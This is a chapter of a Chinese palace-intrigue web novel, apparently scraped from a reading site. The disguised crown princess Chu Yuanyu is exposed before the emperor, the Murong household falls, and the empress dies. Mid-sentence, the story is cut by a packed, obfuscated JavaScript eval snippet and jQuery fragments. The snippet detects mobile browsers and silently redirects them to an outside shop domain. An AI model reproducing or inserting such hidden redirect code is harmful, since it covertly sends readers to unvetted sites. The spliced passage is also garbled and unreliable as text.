君晔等人很快就到了御书房中,看到跪着的楚元虞,君晔过去跪在旁边,目光闪烁。
楚元虞没有分给他一丝目光,而是抬头看着皇帝龙袍的衣角,“请父皇明鉴!”
君晔进来时已经听清了楚元虞的诡辩,他笑容诡异,“皇上,草民也有一个法子要说,既然太子殿下认为不认得字就是伪证,那请诸位去国子监拿皇子们写的字来,若是太子殿下认得出谁是谁的字,那就说明君晔有误。”
皇帝思索一番觉得有理,“去,拿字来!”
楚元虞目光冷淡,自始至终没有看君晔一眼。
君晔,你到底是何方妖魔?速速给孤现形!
不多时,谷丰接过太监递过来的字帖,厚厚一摞,都是国子监里面皇子公主的文字,或是作诗,或是文章,夹杂其中。
他把字帖放在案桌上,由皇帝挑选,楚元虞抬眸望去,见皇帝翻阅过后从中挑选出几张纸,谷丰拿了过来递给楚元虞。
这些人的字是皇帝看过并知晓的,楚元虞做不了弊。她拿过后,仍是跪着的姿势,但是脊背挺直如傲竹孤立,不屑风雨的打压。
楚元虞一张过一张,而后迅速作答:“如梦令乃五妹楚倾揽所写,重别阳后是七弟楚修成,庄子预抄是八弟楚柊桓。”
“父皇,另有二弟楚烬所写的八股文一篇。”楚元虞说完,将纸递还给谷丰公公,她言辞犀利,“请父皇放心,儿臣与兄弟们情同手足,时时询问功课及日常,并不存在不识他们的字的情况。”
“君晔,孤要询你,其一,若你认识你兄长的遗书,但可有辨明是否乃你兄长被威胁时所写?”
“其二,若你不识得是否真切为您兄长所写,却仍揭发钟府世子,使钟府上下抄家,灭亡,这是你一人之滔天大罪!”
皇帝明显脸色冷凝,“君晔,你可有话要说?”
君晔哈哈大笑,“草民与兄长相依为命,怎可能以兄长的名誉来坑害钟府?太子殿下所言有理,可难道我兄长还有本事将那通敌的证据塞进丞相大人的书房暗格?未免太瞧得起我们二人!”
楚元虞冷哼一声,“这就要问问你君晔到底背后是何人作怪,若是崔荣指使,请问他证据何来?堂堂一国丞相府邸,岂是谁就能轻易潜入!未免荒唐,既然得此物证,钟府死的不冤。”
君晔还要再答,谷丰公公却猛地制止他,“御前禁止喧哗!御前失仪,该当何罪!”
孟庭阙一直站在一旁看着,他的目光紧盯着楚元虞,那日她趁自己与萧随周旋逃出府中,再眨眼已经完好无损站在这里与人对峙,他不敢想此女是如何心性坚定。
楚元虞知道他在这里,但她也不与他有交流,眼下若是孟庭阙直接揭露她女儿身的身份,想来是可以直接宣告死刑,她现在就赌孟庭阙顾念师生一场,不要落井下石。
“丞相,依你看,该如何处理?”皇帝发话,孟庭阙先行了一礼,再抬起头,声音清朗,“既然二人都有道理,何不交由大理寺去审批?想必很快大理寺何锦衣卫就能查出真正的实情。”
楚元虞心里沉重,心绷紧成一条线,这个时候下狱,于慕容府不利!她不能就此退场,刚要开口为自己辩言,身旁君晔抢先一步。
“草民还有一事要告知皇上,是关于当日杀死慕容公子的人!”
楚元虞一听心道不好,她当即说道:“这位公子,您究竟所为何来?为兄长鸣冤,为钟府不平,又或者是来提供证据!眼下你指证完钟府又来祸害慕容府,谁敢信您口中之言?”
语罢,她又向皇帝磕头,“父皇,您千万不可信此子谗言,出尔反尔乃兵家大忌,更遑论朝中关系,请立马将君晔此人下狱!”
楚元虞话说完,御书房内寂静片刻,不多时,孟庭阙慢悠悠接住话头,“陛下,臣也有一事要禀明,事关西北,还请陛下一听。”
楚元虞霎时间脸白了一片,她一双墨黑的眼珠直勾勾盯着孟庭阙,铲除太子党对出身少师的你有什么好处!至于你如此……!
孟庭阙与她对视,唇角勾起一抹笑容,殿下,您现在才慌么?
本就乱的事情更乱了,大理寺卿和锦衣卫同时到,眼下在旁边听着,头也不敢抬。
皇帝:“爱卿请说罢。”
只见孟庭阙走至中间朝皇帝下跪,他自入朝为官以来深得帝心,近几个月甚至免除了下跪的礼仪,现在一跪,众人皆骇然。
楚元虞盯着他的背影,深深吸了口气。
“爱卿何必如此?但说无妨,不必做此虚礼。”皇帝明显的偏爱和宠幸,孟庭阙脸上浮现红晕。
“启禀皇上,臣出生西北,当年鲁国侵蚀我国西北板块,对边疆城池百姓残忍屠杀。臣痛失家人,独自流亡,直到被西北一不知名部将收养,不辞辛苦照料臣,养育臣,一路扶持臣科考,入朝为官。”
“那名部将,姓邬,名集。”
楚元虞一听脑袋一片空白,她不可置信地看着他的背影,怎么会如此!世界如此的小啊,万千关系交错其中。
“邬集以为自己出身不好,遂让臣保持原有的家世,可臣能有今日,全是邬集大人对我的恩情。”
“直至年前,慕容将军及公子慕容淮征战西北,入了鲁国的圈套,我父亲率兵救下他们,不计回报,却不料反被将军和公子及其部下坑害,在西北,甚至没有上报朝廷,就将他、他给杀了!”
孟庭阙言语悲伤,从不见落泪的他现在满面都是泪痕,“皇上,天高皇帝远,慕容府仗势欺人,又找了个由头弃市邬家,可怜我幼弟,姊妹,全部丧失性命。”
“皇上,请您做主啊!”
“慢!丞相大人,空口无凭,你可有证据?”楚元虞目光如火要将他的背部烧出一个洞来。
孟庭阙翻出一块令牌,正是当年邬集之物,“陛下,殿下请看,若还有疑问,臣当年在西北还有一起长大的玩伴,尽可去寻。”
“嘭——”
皇帝的目光愤怒扫向跪着的楚元虞,手指着她,“楚元煜,可有此事!”
“父皇……”楚元虞心知事到如今再也不能抵赖过去了,从慕容将军和慕容淮奔赴开始,慕容府就已经大势已去。
君晔补充道:“杀死慕容淮的人正是邬集的小儿子邬悲,此人连杀十二位京城贵公子后逃之夭夭,前些日子大理寺收到无名尸体报案,那尸首是邬悲的。”
皇帝目光看向郭邺,“果有此事?”
郭邺当即跪下,“是,皇上,那具尸首臣记得,当日派人去调查,除了查出此人习武,其他都无收获。”
御书房安静了下来,众人的目光齐聚楚元虞身上,她的腰慢慢软了下来,心里绷着的线彻底断了,心境大动,这一天来的太快、也太迟了,她双眸闭上,再睁开眼时,她笑了,笑得惨烈。
“父皇,儿臣有罪,请父皇降罪。”楚元虞重重磕头。
“来人,将楚元煜打入地牢,择日问审!另,锦衣卫杨京去查抄慕容府,缉拿慕容王爷及世子!按国法处置!”
楚元虞被锦衣卫左右牵制着,她想过这一天迟早会来,但没有想到会这么快,早晨还在为杀死慕容淮的案子操劳,下午就被打入牢中。
她想到母后和楚修成,眼中一行泪落了下来,是她无能,保不住身后的人。
就在这时,御书房
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14273107|150265||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
外传来太监的传话。
“皇后娘娘到——”
“怜妃娘娘到——”
听闻风声,慕容蝉和祝薇怜同时到来,一个是担心楚元虞和慕容府的下场,另一个是想瞧瞧慕容蝉落败的惨状。
两个女人各有风华,慕容蝉进来,几乎一眼就知道情况。
皇帝坐在高位,让孟庭阙等人全部退下,御书房中只余下慕容蝉,祝薇怜,谷丰,楚元虞。
抓着楚元虞的锦衣卫离开了,楚元虞目光跟随着慕容蝉,慕容蝉步子微晃,路过她时偏头与她对视一眼,很难说出那眼神里面包含了什么,是诀别,心疼,不舍,亦或者是留恋。
短短一秒,楚元虞意识到了什么,跪在原地失了魂魄般哭着,喃喃道:“母后……”
“嫔妾拜见皇上。”慕容蝉和祝薇怜行了一礼。
皇帝:“皇后,你愧对朕的一片苦心。”
慕容蝉笑出声,“愧对?陛下,臣妾最不愧对的,唯有陛下。”
“谋害皇嗣,偷天换日,皇后,你敢说自己没有干过?”
此话一出,慕容蝉和楚元虞心头同时一沉,皇上这话意味深远,令二人不敢细想。
慕容蝉:“皇上,臣妾问你,修成之死是否你所策划?”
皇帝闭上眼,“事到如今,纠结无义,来人,夺凤印,将皇后打入冷宫。”
“报——”太监慌里慌张跑了进来,不顾房中绞着的气氛跪下,大喊:“皇上不好了,慕容将军战死,西北鲁国入侵边疆,已夺走三座城池!”
楚元虞原本已经伤到不能再伤的心,又添了一道口子,她眸中含泪,将军在此刻死去,等同于慕容府失去最大的护身符,再无翻身之日了。
慕容蝉脸色霎时灰白了下来,她默默回头,最后看了一眼楚元虞,而后翩然下跪,朝皇帝磕头。
“皇上,慕容府和嫔妾的所作所为,与虞儿无关,太子素来济世为怀,操心民事,慕容府的事情,她也有所阻拦,但嫔妾拦着她,若有过错,都算在嫔妾头上。”
“只求皇上,饶虞儿一命!”慕容蝉重重磕头。
到了这个地步,皇帝仍然不为所动,“你当朕不知道,楚元煜是女儿身吗!”
在场所有人身体一震,不知情的人怀疑自己听错了,知情的母女二人皆惶恐不安,楚元虞磕了头,“父皇,您放过母后吧,儿臣不孝,蒙蔽皇帝……”
“是本宫强迫她喝药,若有不听,便鞭打责骂,嫔妾鬼迷心窍,愧对列祖列宗,皇上,太子为人如何,您看在眼里,放她一条生路吧!”
“母后!”
楚元虞还想开口,却接受到慕容蝉严厉的目光,她不甘心地流泪,撑在地面上的双手抠着地板,指甲抠出了血。
慕容蝉收回目光,慢慢起身,猛地撞向一旁的圆柱,红色的漆顿时沾染了血液,慕容蝉落下人生中最后一滴眼泪,额头破裂倒在地上。
“母后——”楚元虞肝肠寸断,全身血液都随着慕容蝉的死而抽走了,浑身冰冷,她有一瞬间觉得自己人不是人,鬼不是鬼,手脚慌乱地爬过去,将慕容蝉抱在怀里。
“娘、娘——不要,不要死,我求你……”楚元虞抱着她的头痛哭。
慕容蝉眼中的光逐渐消逝,她慢慢张开口,一声:“虞儿……”
就此仙去。
楚元虞哭得说不出话了,心中的悲痛难以言喻。
祝薇怜吓得捂住嘴,眼睛从她们二人看向皇帝,又看向谷丰,过于恐怖的场景让她神经一乱,当场吓晕了。
御书房里只有楚元虞的哭声,不久,皇帝叹道:“请太子入狱,等候发落。”